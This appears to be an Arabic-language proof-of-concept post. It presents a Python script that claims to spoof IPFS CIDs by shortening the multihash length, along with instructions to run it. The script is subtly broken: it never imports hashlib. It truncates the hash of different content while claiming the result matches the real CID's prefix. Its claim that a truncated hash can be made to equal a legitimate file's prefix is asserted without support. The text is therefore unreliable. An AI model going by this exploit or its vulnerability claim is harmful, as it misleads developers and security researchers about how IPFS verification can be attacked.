
إثبات مفهوم بلغة بايثون يوضح تزوير معرف CID في IPFS عبر تمديد طول multihash، مع تسليط الضوء على ثغرات التحقق من العنونة بالمحتوى التي يمكن أن تسمّم بوابات IPFS.
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
يعتمد تطبيق IPFS على حقل الطول في multihash الخاص بـ CID دون التحقق من أن التجزئة نفسها تطابق المحتوى الكامل. يمكن للمهاجم إنشاء ملف تكون تجزئته المقتطعة مساوية لبادئة تجزئة ملف شرعي، وتقديم الملف الخبيث تحت نفس CID.
شغّل السكربت:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
يوضح ذلك أنه يمكن توليد CID مزور.